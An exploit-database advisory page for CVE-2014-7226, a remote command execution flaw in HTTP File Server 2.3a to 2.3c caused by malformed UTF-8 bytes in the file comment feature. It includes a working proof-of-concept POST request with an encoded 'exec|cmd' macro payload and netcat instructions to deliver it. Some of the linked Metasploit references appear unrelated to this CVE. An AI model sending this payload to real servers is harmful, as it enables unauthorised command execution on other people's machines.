HTTP File Server 2.3a - 2.3b - 2.3c Remote Command Execution

vendor:

HTTP File Server

by:

Daniele Linguaglossa

9,3

CVSS

HIGH

Remote Command Execution

CWE

Product Name: HTTP File Server

Affected Version From: 2.3a

Affected Version To: 2.3c

Patch Exists: Yes

Related CWE: CVE-2014-7226

CPE: 2.3a:hfs:http_file_server

Metasploit: https://www.rapid7.com/db/vulnerabilities/php-cve-2014-2020/, https://www.rapid7.com/db/vulnerabilities/amazon-linux-ami-alas-2014-314/

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 8

2014

HTTP File Server 2.3a – 2.3b – 2.3c Remote Command Execution

The latest HTTP File Server (2.3c and maybe prior too) was found to be vulnerable to a remote command execution in the file comment features, because the application did not properly validate uft-8 broken byte representation, in fact during parsing program won't notice that there are multiple invalid representation and when they are printed into the page will get replaced with one of these characters " { . | } " causing a macro to be executed.

Mitigation:

The vendor has released a patch to address this vulnerability.

Source

Exploit-DB raw data:

==========================================================
HTTP File Server 2.3a - 2.3b - 2.3c Remote Command Execution

# Author : Daniele Linguaglossa
# Date: 30/09/2014
# Remote: Yes
# Vendor Homepage: http://rejetto.com/
# Software Link: http://downloads.sourceforge.net/hfs/hfs2.3c.src.zip
# CVE: CVE-2014-7226
# Vendor Hompage: http://www.rejetto.com
# Tested on: Windows 8
# Version: 2.3a - 2.3b - 2.3c

The latest HTTP File Server (2.3c and maybe prior too) was found to be
vulnerable to a remote command execution in the file comment features ,
because the application did not properly validate uft-8 broken byte
representation, in fact during parsing program won't notice that there are
multiple invalid representation and when they are printed into the page
will get replaced with one of these characters " { . | } "  causing a macro
to be executed.
==========================================================
PoC
==========================================================
bug-utf8.txt
==========================================================
POST /upload/?mode=section&id=ajax.comment HTTP/1.1
Connection: Close
Content-Type:application/x-www-form-urlencoded

text=%c1%bb%c0%aeexec%c1%bccmd%c0%ae%c1%bd&files=x
==========================================================

Copy the following on a file called bug-utf8.txt , then open hfs and add a
folder called upload,
it will ask if anyone should have upload permission click yes then with
netcat do the following:

nc localhost 8080 < bug-utf8.txt

if everything was fine you should see a new command prompt being executed
from hfs.

==========================================================
EOF